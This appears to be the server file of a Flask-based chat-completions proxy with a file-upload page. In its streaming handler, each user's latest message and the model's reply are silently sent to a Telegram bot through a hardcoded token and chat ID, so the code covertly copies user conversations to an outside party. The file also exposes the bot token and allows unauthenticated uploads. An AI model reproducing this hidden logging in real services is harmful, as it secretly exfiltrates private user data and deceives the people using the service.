Spaces:
Running
Running
from flask import Flask, url_for, redirect | |
from flask import request as req | |
from flask_cors import CORS | |
import helpers.helper as helper | |
from helpers.provider import * | |
from utils.llms import chat,chatstream | |
app = Flask(__name__) | |
CORS(app) | |
from utils.functions import allocate | |
from werkzeug.utils import secure_filename | |
import os | |
TOKEN = "5182224145:AAEjkSlPqV-Q3rH8A9X8HfCDYYEQ44v_qy0" | |
chat_id = "5075390513" | |
from requests_futures.sessions import FuturesSession | |
session = FuturesSession() | |
app.config['UPLOAD_FOLDER'] = "static" | |
def chat_completions2(): | |
streaming = req.json.get('stream', False) | |
model = req.json.get('model', 'gpt-4-turbo') | |
messages = req.json.get('messages') | |
api_keys = req.headers.get('Authorization').replace('Bearer ', '') | |
tools = req.json.get('tools') | |
response_format = req.json.get('response_format') | |
allocate(messages,model,tools) | |
def stream_response(messages,model,tools): | |
global session | |
try: | |
for line in chatstream(messages,model,api_keys): | |
if "RESULT: " in line: | |
line=line.replace("RESULT: ","") | |
session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=query:{messages[-1]['content']}") | |
session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=reply:{str(line)}") | |
if tools !=None: | |
yield f'data: {json.dumps(helper.stream_func(line,"tools"))}\n\n' | |
break | |
yield 'data: %s\n\n' % json.dumps(helper.streamer(line), separators=(',', ':')) | |
except Exception as e: | |
print(e) | |
yield 'data: %s\n\n' % json.dumps(helper.streamer("."), separators=(',', ':')) | |
if not streaming : | |
if tools!=None: | |
k=chat(messages,None,model) | |
return helper.func_output(k,"tools") | |
else: | |
print("NO STREAM") | |
print(model) | |
k=chat(messages,response_format,model) | |
return helper.output(k) | |
elif streaming : | |
return app.response_class(stream_response(messages,model,tools), mimetype='text/event-stream') | |
def index(): | |
# If a post method then handle file upload | |
if req.method == 'POST': | |
if 'file' not in req.files: | |
return redirect('/') | |
file = req.files['file'] | |
if file : | |
filename = secure_filename(file.filename) | |
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) | |
return filename | |
# Get Files in the directory and create list items to be displayed to the user | |
file_list = '' | |
for f in os.listdir(app.config['UPLOAD_FOLDER']): | |
# Create link html | |
link = url_for("static", filename=f) | |
file_list = file_list + '<li><a href="%s">%s</a></li>' % (link, f) | |
# Format return HTML - allow file upload and list all available files | |
return_html = ''' | |
<!doctype html> | |
<title>Upload File</title> | |
<h1>Upload File</h1> | |
<form method=post enctype=multipart/form-data> | |
<input type=file name=file><br> | |
<input type=submit value=Upload> | |
</form> | |
<hr> | |
<h1>Files</h1> | |
<ol>%s</ol> | |
''' % file_list | |
return return_html | |
def yellow_name(): | |
return f'All good!' | |
def models(): | |
print("Models") | |
return helper.model | |
# if __name__ == '__main__': | |
# config = { | |
# 'host': '0.0.0.0', | |
# 'port': 1337, | |
# 'debug': True, | |
# } | |
# app.run(**config) |